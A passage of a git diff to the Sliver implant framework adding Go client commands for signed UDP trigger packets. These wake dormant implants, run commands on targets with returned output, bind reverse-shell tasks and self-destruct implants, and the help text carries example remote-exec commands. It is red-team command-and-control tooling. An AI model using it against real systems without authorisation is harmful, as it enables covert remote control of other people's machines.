"key") - return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd} + // Trigger + triggerCmd := &cobra.Command{ + Use: consts.TriggerStr, + Short: "Start an authenticated UDP trigger listener (task dispatcher)", + Long: help.GetHelpFor([]string{consts.TriggerStr}), + Run: func(cmd *cobra.Command, args []string) { + TriggerListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("Trigger listener", false, triggerCmd, func(f *pflag.FlagSet) { + f.StringP("lhost", "L", "0.0.0.0", "interface to bind server to") + f.Uint32P("lport", "l", 46290, "udp listen port") + f.StringP("secret-env", "S", "", "env var name holding the HMAC shared secret (preferred; no secret in argv)") + f.String("secret", "", "HMAC shared secret (direct value; visible in ps — prefer --secret-env). Omit both for stdin prompt") + f.String("server-id", "sliver-trigger", "audit identifier embedded in events") + f.StringArrayP("task", "i", nil, "task binding NAME:KIND:ARGS (repeatable; KIND in wake-beacon, stop-job, exec, reverse-shell)") + f.StringArray("allowed-source", nil, "allow only this IP or CIDR (repeatable; empty=any)") + f.StringArray("allowed-client", nil, "allow only this client_id (repeatable; empty=any)") + }) + + triggerTasksCmd := &cobra.Command{ + Use: "tasks ", + Short: "List task bindings for a running trigger listener", + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TriggerTasksCmd(cmd, con, args) + }, + } + triggerCmd.AddCommand(triggerTasksCmd) + + // Trigger dispatch: ad-hoc tasking by job ID (server-side task dispatch). + triggerDispatchCmd := &cobra.Command{ + Use: "dispatch ", + Short: "Dispatch an ad-hoc task to a running trigger listener", + Long: `Dispatch an ad-hoc task to a running trigger listener by job ID. + +The task-name must match a task binding already registered on the listener. +This enables interactive, on-the-fly tasking of active trigger jobs, +analogous to beacon interaction. + +Examples: + trigger dispatch 7 wake-beacon-alpha + trigger dispatch 7 kill-mtls`, + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + TriggerDispatchCmd(cmd, con, args) + }, + } + triggerCmd.AddCommand(triggerDispatchCmd) + + // Trigger send: send a signed UDP trigger packet to an implant. + triggerSendCmd := &cobra.Command{ + Use: "send ", + Short: "Send a signed trigger packet to an implant's triggerwake port", + Long: `Construct a signed trigger packet (HMAC-SHA256, JSON-over-UDP) +and send it to an implant's triggerwake listener. Everything is handled +natively within sliver -- no external tools required. + +The first argument can be either: + - A target IP/hostname (backward compatible, e.g. 192.168.1.42) + - A trigger index from the "triggers" command (integer, e.g. 1) + +When a trigger index is used, the port, secret, and client-id are +auto-populated from the implant's build config and stored target mapping. + +Intents: + "wake" Wake a dormant implant (fire-and-forget) + "self-destruct" Wipe the implant and exit (fire-and-forget, DESTRUCTIVE) + "exec" Execute a command and return output (bidirectional) + +The secret must match the one baked into the implant at generation time. + +Examples: + trigger send 192.168.1.42 wake --secret-env TRIGGERWAKE_SECRET + trigger send 10.0.0.5 self-destruct --secret-env TRIGGERWAKE_SECRET --port 46290 + trigger send 10.0.0.5 exec --payload "ls -la /tmp" --secret-env TRIGGERWAKE_SECRET + trigger send 10.0.0.5 wake --secret "my-shared-secret" --client-id red-team-01 + trigger send 1 wake (uses index from 'triggers' list) + trigger send 2 exec --payload "whoami"`, + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + TriggerSendCmd(cmd, con, args) + }, + } + flags.Bind("Trigger send", false, triggerSendCmd, func(f *pflag.FlagSet) { + f.Uint32P("port", "p", 46290, "UDP port the implant's triggerwake is bound to") + f.StringP("secret-env", "S", "", "env var name holding the HMAC shared secret (preferred; no secret in argv)") + f.String("secret", "", "HMAC shared secret (direct value; visible in ps — prefer --secret-env). Omit both for stdin prompt") + f.String("client-id", "sliver-operator", "sender identity included in the trigger packet") + f.String("payload", "", "command/data for bidirectional intents (e.g. 'ls -la /tmp' for intent=exec)") + f.StringP("output", "o", "", "write exec output to file (only for intent=exec)") + f.String("comms", "", "preferred C2 transport for wake intent (e.g. mtls, wg)") + }) + triggerCmd.AddCommand(triggerSendCmd) + + // Carapace completions: + // - `trigger tasks ` -> active job IDs (so operators + // don't have to type-then-cross-reference the jobs list). + // - `trigger dispatch ` -> active job IDs. + // - `trigger send ` -> no positional completion (free-form IP/index + intent). + // - `trigger --task ` -> the four task KINDs as a + // reminder; doesn't try to complete the NAME:KIND:ARGS triple + // beyond suggesting kinds. + carapace.Gen(triggerTasksCmd).PositionalCompletion(JobsIDCompleter(con)) + carapace.Gen(triggerDispatchCmd).PositionalCompletion( + JobsIDCompleter(con), + carapace.ActionValues().Tag("task name registered on the listener"), + ) + carapace.Gen(triggerSendCmd).PositionalCompletion( + carapace.ActionValues().Tag("target IP/hostname or trigger index"), + carapace.ActionValues("wake", "self-destruct", "exec").Tag("trigger intent"), + ) + flags.BindFlagCompletions(triggerCmd, func(comp *carapace.ActionMap) { + (*comp)["task"] = carapace.ActionValues( + "wake-beacon", "stop-job", "exec", "reverse-shell", + ).Tag("trigger task kinds") + }) + + return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd, triggerCmd} } diff --git a/client/command/jobs/trigger.go b/client/command/jobs/trigger.go new file mode 100644 index 0000000000..9cba5549d0 --- /dev/null +++ b/client/command/jobs/trigger.go @@ -0,0 +1,555 @@ +package jobs + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + "net" + "os" + "sort" + "strconv" + "strings" + + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/command/triggers" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/secretinput" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +// TriggerListenerCmd - Start a trigger (authenticated UDP) listener. +// +// Operator-facing flags: +// +// --lhost bind address (matches mtls/dns/etc. convention) +// --lport bind port +// --secret-env env var name on the OPERATOR machine holding the +// shared HMAC secret; the bytes are sent over mTLS- +// protected gRPC to the server. Avoids putting raw +// secrets in argv (`ps`-visible). +// --secret direct secret value (visible in ps; prefer +// --secret-env). If neither --secret-env nor +// --secret is provided, the operator is prompted +// on stdin (masked on TTY, line-read when piped). +// --server-id audit identifier (defaults to "sliver-trigger") +// --task repeatable; one of: +// NAME:wake-beacon: +// NAME:stop-job: +// NAME:exec:[,,...] +// NAME:reverse-shell:[,tls] +// --allowed-source repeatable; exact IP or CIDR (v4/v6) +// --allowed-client repeatable; client_id values to accept +// --strict require every accepted client_id to have a per- +// client key (not yet exposed via CLI; future) +func TriggerListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + lhost, _ := cmd.Flags().GetString("lhost") + lport, _ := cmd.Flags().GetUint32("lport") + secretEnv, _ := cmd.Flags().GetString("secret-env") + directSecret, _ := cmd.Flags().GetString("secret") + directSecretChanged := cmd.Flags().Changed("secret") + serverID, _ := cmd.Flags().GetString("server-id") + tasks, _ := cmd.Flags().GetStringArray("task") + allowedSources, _ := cmd.Flags().GetStringArray("allowed-source") + allowedClients, _ := cmd.Flags().GetStringArray("allowed-client") + + // Three-tier secret resolution: env-var indirection -> direct value -> stdin prompt + secret, err := secretinput.Resolve( + secretEnv, + directSecret, + directSecretChanged, + "--secret", + "trigger HMAC shared secret", + func(format string, args ...any) { + con.PrintWarnf(format, args...) + }, + ) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + if err := secretinput.ValidateForTemplate(secret); err != nil { + con.PrintErrorf("%s\n", err) + return + } + if len(tasks) == 0 { + con.PrintErrorf("at least one --task binding is required\n") + return + } + + bindings, err := parseTaskFlags(tasks) + if err != nil { + con.PrintErrorf("invalid --task: %v\n", err) + return + } + + con.PrintInfof("Starting trigger listener on %s:%d ...\n", lhost, lport) + job, err := con.Rpc.StartTriggerListener(context.Background(), &clientpb.TriggerListenerReq{ + Host: lhost, + Port: lport, + SharedSecret: secret, + ServerID: serverID, + Intents: bindings, + AllowedSources: allowedSources, + AllowedClientIDs: allowedClients, + }) + con.Println() + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + con.PrintInfof("Successfully started trigger listener as job #%d\n", job.JobID) + con.PrintInfof("Registered tasks:\n") + for _, b := range bindings { + con.Printf(" %-24s %s\n", b.Name, taskKindLabel(b)) + } +} + +// TriggerTasksCmd - Print task bindings for a running trigger +// listener job. +func TriggerTasksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + if len(args) < 1 { + con.PrintErrorf("usage: trigger tasks \n") + return + } + jobID, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + con.PrintErrorf("invalid job-id %q\n", args[0]) + return + } + resp, err := con.Rpc.TriggerIntents(context.Background(), &clientpb.TriggerIntentsReq{JobID: uint32(jobID)}) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + if len(resp.Bindings) == 0 { + con.PrintInfof("Job #%d has no task bindings.\n", jobID) + return + } + + tw := table.NewWriter() + tw.SetStyle(settings.GetTableStyle(con)) + tw.AppendHeader(table.Row{"TASK", "KIND", "TARGET"}) + for _, b := range resp.Bindings { + tw.AppendRow(table.Row{b.Name, taskKindName(b), taskTargetSummary(b)}) + } + con.Println(tw.Render()) +} + +// TriggerDispatchCmd - Dispatch an ad-hoc task to a running trigger +// listener by job ID. The task-name must match a registered task +// binding on the listener. This enables interactive, on-the-fly +// tasking of active trigger jobs, analogous to beacon interaction. +// +// Previously named TriggerSendCmd; renamed to TriggerDispatchCmd when +// "trigger send" was reassigned to the implant-facing UDP command. +func TriggerDispatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + if len(args) < 2 { + con.PrintErrorf("usage: trigger dispatch \n") + return + } + jobID, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + con.PrintErrorf("invalid job-id %q\n", args[0]) + return + } + taskName := strings.TrimSpace(args[1]) + if taskName == "" { + con.PrintErrorf("task-name cannot be empty\n") + return + } + + // First verify the task exists on this job by querying existing bindings. + resp, err := con.Rpc.TriggerIntents(context.Background(), &clientpb.TriggerIntentsReq{JobID: uint32(jobID)}) + if err != nil { + con.PrintErrorf("failed to query job #%d: %s\n", jobID, err) + return + } + + var matchedBinding *clientpb.TriggerIntentBinding + for _, b := range resp.Bindings { + if b.Name == taskName { + matchedBinding = b + break + } + } + if matchedBinding == nil { + con.PrintErrorf("no task named %q registered on job #%d\n", taskName, jobID) + con.PrintInfof("Available tasks:\n") + for _, b := range resp.Bindings { + con.Printf(" %-24s %s\n", b.Name, taskKindLabel(b)) + } + return + } + + con.PrintInfof("Dispatching task %q on job #%d ...\n", taskName, jobID) + con.PrintInfof(" %s\n", taskKindLabel(matchedBinding)) + + _, err = con.Rpc.TriggerDispatchTask(context.Background(), &clientpb.TriggerDispatchTaskReq{ + JobID: uint32(jobID), + TaskName: taskName, + }) + if err != nil { + con.PrintErrorf("Dispatch failed: %s\n", err) + return + } + con.PrintInfof("Task %q dispatched successfully on job #%d\n", taskName, jobID) +} + +// TriggerSendCmd - Send a signed trigger packet (UDP) to an implant's +// triggerwake listener. The packet is constructed and sent server-side +// via the TriggerFire RPC -- everything is handled natively within +// sliver, no external tools required. +// +// Previously named TriggerFireCmd; renamed to TriggerSendCmd when +// "trigger fire" was reassigned to "trigger send". +// +// The first positional argument can be either: +// - A target IP/hostname (backward compatible) +// - A trigger index (integer) from the "triggers" command list +// +// When a trigger index is provided, the port, secret, and client-id +// are auto-populated from the implant's build config and stored target +// mapping. The operator only needs to supply the intent (and --payload +// for exec). +// +// Usage: +// +// trigger send [flags] +func TriggerSendCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + if len(args) < 2 { + con.PrintErrorf("usage: trigger send \n") + return + } + + firstArg := strings.TrimSpace(args[0]) + intent := strings.TrimSpace(args[1]) + if firstArg == "" || intent == "" { + con.PrintErrorf("target and intent are required\n") + return + } + + var ( + targetHost string + port uint32 + secret []byte + clientID string + err error + ) + + // Detection logic: if the first arg parses as a small integer + // (trigger index), look up the build config. Otherwise treat as IP. + triggerIndex, parseErr := strconv.Atoi(firstArg) + isIndex := parseErr == nil && triggerIndex > 0 && triggerIndex < 10000 + + if isIndex { + // Index-based lookup: resolve from ImplantBuilds + targetHost, port, secret, clientID, err = resolveTriggerIndex(triggerIndex, cmd, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + } else { + // Legacy IP-based path + targetHost = firstArg + port, _ = cmd.Flags().GetUint32("port") + clientID, _ = cmd.Flags().GetString("client-id") + + secretEnv, _ := cmd.Flags().GetString("secret-env") + directSecret, _ := cmd.Flags().GetString("secret") + directSecretChanged := cmd.Flags().Changed("secret") + + secret, err = secretinput.Resolve( + secretEnv, + directSecret, + directSecretChanged, + "--secret", + "triggerwake HMAC shared secret", + func(format string, args ...any) { + con.PrintWarnf(format, args...) + }, + ) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + } + + // Allow explicit flag overrides even in index mode + if cmd.Flags().Changed("port") { + port, _ = cmd.Flags().GetUint32("port") + } + if cmd.Flags().Changed("client-id") { + clientID, _ = cmd.Flags().GetString("client-id") + } + if cmd.Flags().Changed("secret") || cmd.Flags().Changed("secret-env") { + secretEnv, _ := cmd.Flags().GetString("secret-env") + directSecret, _ := cmd.Flags().GetString("secret") + directSecretChanged := cmd.Flags().Changed("secret") + secret, err = secretinput.Resolve( + secretEnv, + directSecret, + directSecretChanged, + "--secret", + "triggerwake HMAC shared secret", + func(format string, args ...any) { + con.PrintWarnf(format, args...) + }, + ) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + } + + if intent == "self-destruct" { + con.PrintWarnf("DESTRUCTIVE: this will wipe the implant binary + configured burn paths on the target.\n") + con.PrintWarnf("Ensure you have a VM snapshot before proceeding.\n") + } + + payload, _ := cmd.Flags().GetString("payload") + + con.PrintInfof("Sending trigger packet: target=%s:%d intent=%s client-id=%s\n", + targetHost, port, intent, clientID) + if payload != "" { + con.PrintInfof("Payload: %s\n", payload) + } + + resp, err := con.Rpc.TriggerFire(context.Background(), &clientpb.TriggerFireReq{ + TargetHost: targetHost, + TargetPort: port, + Intent: intent, + SharedSecret: secret, + ClientID: clientID, + Payload: payload, + }) + if err != nil { + con.PrintErrorf("Send failed: %s\n", err) + return + } + + if intent == "exec" && resp != nil { + // Bidirectional: display the implant's response. + con.PrintInfof("Trigger packet sent to %s:%d (intent=%s)\n", targetHost, port, intent) + if resp.Error != "" { + con.PrintErrorf("Implant error: %s\n", resp.Error) + } + if resp.Output != "" { + con.PrintInfof("Exit code: %d\n", resp.ExitCode) + con.PrintInfof("Output:\n") + con.Println(resp.Output) + + // Item 5: --output flag writes exec output to file + outputPath, _ := cmd.Flags().GetString("output") + if outputPath != "" { + if writeErr := os.WriteFile(outputPath, []byte(resp.Output), 0600); writeErr != nil { + con.PrintErrorf("Failed to write output to %s: %s\n", outputPath, writeErr) + } else { + con.PrintInfof("Output written to %s\n", outputPath) + } + } + } else if resp.Error == "" { + con.PrintInfof("No output received (command may have produced no output)\n") + } + } else { + con.PrintInfof("Trigger packet sent to %s:%d (intent=%s)\n", targetHost, port, intent) + con.PrintInfof("Note: UDP is fire-and-forget -- delivery is not confirmed.\n") + } +} + +// resolveTriggerIndex looks up a trigger implant by its 1-based index +// in the sorted ImplantBuilds list (same order as the "triggers" command +// displays). Returns the target IP, port, secret, and client-id auto- +// populated from the build config and stored target mapping. +func resolveTriggerIndex(index int, cmd *cobra.Command, con *console.SliverClient) (string, uint32, []byte, string, error) { + builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) + if err != nil { + return "", 0, nil, "", fmt.Errorf("failed to fetch implant builds: %s", err) + } + + // Build a sorted list of trigger implants (same as triggers.go) + type entry struct { + name string + config *clientpb.ImplantConfig + } + var triggerBuilds []entry + for name, config := range builds.Configs { + if config.GetIncludeTriggerWake() { + triggerBuilds = append(triggerBuilds, entry{name, config}) + } + } + sort.Slice(triggerBuilds, func(i, j int) bool { + return triggerBuilds[i].name < triggerBuilds[j].name + }) + + if len(triggerBuilds) == 0 { + return "", 0, nil, "", fmt.Errorf("no trigger implants found -- generate one with 'generate trigger'") + } + if index < 1 || index > len(triggerBuilds) { + return "", 0, nil, "", fmt.Errorf("trigger index %d out of range (have %d trigger implants)", index, len(triggerBuilds)) + } + + e := triggerBuilds[index-1] + config := e.config + + // Extract port from TriggerWakeBindAddr (host:port) + var port uint32 + bindAddr := config.GetTriggerWakeBindAddr() + if bindAddr != "" { + _, portStr, splitErr := net.SplitHostPort(bindAddr) + if splitErr == nil { + if p, convErr := strconv.ParseUint(portStr, 10, 32); convErr == nil { + port = uint32(p) + } + } + } + if port == 0 { + port = 46290 // default trigger port + } + + // Secret from build config + secret := config.GetTriggerWakeSecret() + if len(secret) == 0 { + return "", 0, nil, "", fmt.Errorf("trigger implant %q has no baked-in secret -- provide --secret or --secret-env", e.name) + } + + // Client ID: first allowed client or default + clientID := "sliver-operator" + if ids := config.GetTriggerWakeAllowedClientIDs(); len(ids) > 0 { + clientID = ids[0] + } + + // Look up target IP from stored targets + store, _ := triggers.LoadTargetStore() + targetIP := store.Targets[e.name] + if targetIP == "" { + return "", 0, nil, "", fmt.Errorf("no target IP stored for trigger %q (index %d) -- use 'triggers target %d ' first", e.name, index, index) + } + + con.PrintInfof("Resolved trigger index %d: name=%s target=%s port=%d\n", index, e.name, targetIP, port) + return targetIP, port, secret, clientID, nil +} + +// parseTaskFlags parses --task strings into TriggerIntentBindings. +// +// Format: NAME:KIND:ARG1[,ARG2,...] +func parseTaskFlags(raw []string) ([]*clientpb.TriggerIntentBinding, error) { + out := make([]*clientpb.TriggerIntentBinding, 0, len(raw)) + for _, r := range raw { + parts := strings.SplitN(r, ":", 3) + if len(parts) < 3 { + return nil, fmt.Errorf("expected NAME:KIND:ARGS, got %q", r) + } + name := strings.TrimSpace(parts[0]) + kind := strings.TrimSpace(parts[1]) + argstr := strings.TrimSpace(parts[2]) + + b := &clientpb.TriggerIntentBinding{Name: name} + switch kind { + case "wake-beacon": + b.Config = &clientpb.TriggerIntentBinding_WakeBeacon{ + WakeBeacon: &clientpb.WakeBeaconConfig{BeaconID: argstr}, + } + case "stop-job": + b.Config = &clientpb.TriggerIntentBinding_StopJob{ + StopJob: &clientpb.StopJobConfig{JobName: argstr}, + } + case "exec": + cmdParts := strings.Split(argstr, ",") + b.Config = &clientpb.TriggerIntentBinding_Exec{ + Exec: &clientpb.ExecConfig{ + Cmd: strings.TrimSpace(cmdParts[0]), + Args: trimEach(cmdParts[1:]), + }, + } + case "reverse-shell": + rsParts := strings.Split(argstr, ",") + operatorAddr := strings.TrimSpace(rsParts[0]) + useTLS := false + for _, opt := range rsParts[1:] { + if strings.TrimSpace(opt) == "tls" { + useTLS = true + } + } + b.Config = &clientpb.TriggerIntentBinding_ReverseShell{ + ReverseShell: &clientpb.ReverseShellConfig{ + OperatorAddr: operatorAddr, + UseTLS: useTLS, + }, + } + default: + return nil, fmt.Errorf("unknown kind %q (want one of: wake-beacon, stop-job, exec, reverse-shell)", kind) + } + out = append(out, b) + } + return out, nil +} + +func trimEach(xs []string) []string { + out := make([]string, 0, len(xs)) + for _, x := range xs { + t := strings.TrimSpace(x) + if t != "" { + out = append(out, t) + } + } + return out +} + +func taskKindLabel(b *clientpb.TriggerIntentBinding) string { + return fmt.Sprintf("%s -> %s", taskKindName(b), taskTargetSummary(b)) +} + +func taskKindName(b *clientpb.TriggerIntentBinding) string { + switch b.GetConfig().(type) { + case *clientpb.TriggerIntentBinding_WakeBeacon: + return "wake-beacon" + case *clientpb.TriggerIntentBinding_StopJob: + return "stop-job" + case *clientpb.TriggerIntentBinding_Exec: + return "exec" + case *clientpb.TriggerIntentBinding_ReverseShell: + return "reverse-shell" + default: + return "unknown" + } +} + +func taskTargetSummary(b *clientpb.TriggerIntentBinding) string { + switch cfg := b.GetConfig().(type) { + case *clientpb.TriggerIntentBinding_WakeBeacon: + return fmt.Sprintf("beacon=%s", cfg.WakeBeacon.GetBeaconID()) + case *clientpb.TriggerIntentBinding_StopJob: + return fmt.Sprintf("job=%s", cfg.StopJob.GetJobName()) + case *clientpb.TriggerIntentBinding_Exec: + return fmt.Sprintf("cmd=%s", cfg.Exec.GetCmd()) + case *clientpb.TriggerIntentBinding_ReverseShell: + tls := "" + if cfg.ReverseShell.GetUseTLS() { + tls = ", tls" + } + return fmt.Sprintf("%s%s", cfg.ReverseShell.GetOperatorAddr(), tls) + default: + return "" + } +} diff --git a/client/command/server.go b/client/command/server.go index f8a5ca6716..d2f49047fd 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -53,6 +53,7 @@ import ( sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai" "github.com/bishopfox/sliver/client/command/socks" "github.com/bishopfox/sliver/client/command/taskmany" + "github.com/bishopfox/sliver/client/command/triggers" "github.com/bishopfox/sliver/client/command/update" "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/command/websites" @@ -141,6 +142,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command info.Commands, sessions.Commands, beacons.Commands, + triggers.Commands, monitor.Commands, loot.Commands, hosts.Commands, diff --git a/client/command/triggers/commands.go b/client/command/triggers/commands.go new file mode 100644 index 0000000000..eb71c19e60 --- /dev/null +++ b/client/command/triggers/commands.go @@ -0,0 +1,64 @@ +package triggers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// Commands returns the "triggers" command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + triggersCmd := &cobra.Command{ + Use: consts.TriggersStr, + Short: "List generated trigger implants", + Long: help.GetHelpFor([]string{consts.TriggersStr}), + GroupID: consts.SliverHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + TriggersCmd(cmd, con, args) + }, + } + flags.Bind("triggers", true, triggersCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + // triggers target + triggersTargetCmd := &cobra.Command{ + Use: "target ", + Short: "Associate a target IP with a trigger implant by index", + Long: `Store a target IP for a trigger implant so that 'trigger send ' +can automatically resolve the target. The mapping is stored client-side +in ~/.sliver-client/triggers.json. + +Examples: + triggers target 1 192.168.1.42 + triggers target 2 10.0.0.5`, + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + TriggerTargetCmd(cmd, con, args) + }, + } + triggersCmd.AddCommand(triggersTargetCmd) + + return []*cobra.Command{triggersCmd} +} diff --git a/client/command/triggers/target.go b/client/command/triggers/target.go new file mode 100644 index 0000000000..987794bc0b --- /dev/null +++ b/client/command/triggers/target.go @@ -0,0 +1,163 @@ +package triggers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + ------------------------------------------------------------------------ + + target.go -- client-side target IP storage for trigger implants. + + The server has no knowledge of where trigger implants are deployed, + so we maintain a simple JSON mapping of implant-name -> target-IP on + the operator's machine at ~/.sliver-client/triggers.json. This is + used by "trigger send " to auto-populate the target. +*/ + +import ( + "context" + "encoding/json" + "fmt" + "os" + "path/filepath" + "sort" + "strconv" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" +) + +const targetStoreFileName = "triggers.json" + +// TargetStore holds the client-side mapping of trigger implant names +// to their deployed target IPs. +type TargetStore struct { + // Targets maps implant name -> target IP/hostname. + Targets map[string]string `json:"targets"` +} + +// targetStorePath returns the absolute path to the triggers.json file. +func targetStorePath() string { + return filepath.Join(assets.GetRootAppDir(), targetStoreFileName) +} + +// LoadTargetStore reads the target store from disk. Returns an empty +// store (not an error) if the file doesn't exist. +func LoadTargetStore() (*TargetStore, error) { + store := &TargetStore{Targets: make(map[string]string)} + data, err := os.ReadFile(targetStorePath()) + if err != nil { + if os.IsNotExist(err) { + return store, nil + } + return store, fmt.Errorf("read target store: %w", err) + } + if err := json.Unmarshal(data, store); err != nil { + return store, fmt.Errorf("parse target store: %w", err) + } + if store.Targets == nil { + store.Targets = make(map[string]string) + } + return store, nil +} + +// Save writes the target store to disk. +func (s *TargetStore) Save() error { + data, err := json.MarshalIndent(s, "", " ") + if err != nil { + return fmt.Errorf("marshal target store: %w", err) + } + return os.WriteFile(targetStorePath(), data, 0600) +} + +// TriggerTargetCmd associates a target IP with a trigger implant by +// index. Usage: triggers target +func TriggerTargetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + if len(args) < 2 { + con.PrintErrorf("usage: triggers target \n") + return + } + + index, err := strconv.Atoi(args[0]) + if err != nil || index < 1 { + con.PrintErrorf("invalid trigger index %q (must be a positive integer)\n", args[0]) + return + } + targetIP := args[1] + if targetIP == "" { + con.PrintErrorf("target IP cannot be empty\n") + return + } + + // Look up the trigger implant by index + builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintErrorf("failed to fetch implant builds: %s\n", err) + return + } + + triggerBuilds := sortedTriggerBuilds(builds) + if len(triggerBuilds) == 0 { + con.PrintErrorf("no trigger implants found\n") + return + } + if index < 1 || index > len(triggerBuilds) { + con.PrintErrorf("trigger index %d out of range (have %d trigger implants)\n", index, len(triggerBuilds)) + return + } + + name := triggerBuilds[index-1].Name + + store, err := LoadTargetStore() + if err != nil { + con.PrintErrorf("failed to load target store: %s\n", err) + return + } + + store.Targets[name] = targetIP + if err := store.Save(); err != nil { + con.PrintErrorf("failed to save target store: %s\n", err) + return + } + + con.PrintInfof("Target for %q (index %d) set to %s\n", name, index, targetIP) + con.PrintInfof("Stored in %s\n", targetStorePath()) +} + +// TriggerBuildEntry holds a trigger implant name and its config for +// display and lookup purposes. +type TriggerBuildEntry struct { + Name string + Config *clientpb.ImplantConfig +} + +// sortedTriggerBuilds filters and sorts implant builds that have +// IncludeTriggerWake=true, sorted alphabetically by name. +func sortedTriggerBuilds(builds *clientpb.ImplantBuilds) []TriggerBuildEntry { + var entries []TriggerBuildEntry + for name, config := range builds.Configs { + if config.GetIncludeTriggerWake() { + entries = append(entries, TriggerBuildEntry{Name: name, Config: config}) + } + } + sort.Slice(entries, func(i, j int) bool { + return entries[i].Name < entries[j].Name + }) + return entries +} diff --git a/client/command/triggers/triggers.go b/client/command/triggers/triggers.go new file mode 100644 index 0000000000..86a61c70d2 --- /dev/null +++ b/client/command/triggers/triggers.go @@ -0,0 +1,130 @@ +package triggers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + ------------------------------------------------------------------------ + + triggers.go -- list all trigger implants (builds with + IncludeTriggerWake=true). Analogous to how "beacons" lists beacons. +*/ + +import ( + "context" + "fmt" + "net" + "strings" + + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +// TriggersCmd displays an indexed list of all generated trigger implants, +// similar to how "beacons" lists beacons. Filters ImplantBuilds for +// configs with IncludeTriggerWake=true. +func TriggersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintErrorf("failed to fetch implant builds: %s\n", err) + return + } + + triggerBuilds := sortedTriggerBuilds(builds) + if len(triggerBuilds) == 0 { + con.PrintInfof("No trigger implants found. Generate one with 'generate trigger'.\n") + return + } + + // Load stored targets for display + store, _ := LoadTargetStore() + + tw := table.NewWriter() + tw.SetStyle(settings.GetTableStyle(con)) + tw.AppendHeader(table.Row{ + "Index", + "Name", + "OS/Arch", + "Bind Port", + "C2 Transports", + "Allowed Clients", + "Target", + }) + + for i, e := range triggerBuilds { + config := e.Config + + // Extract port from TriggerWakeBindAddr + bindPort := "" + if 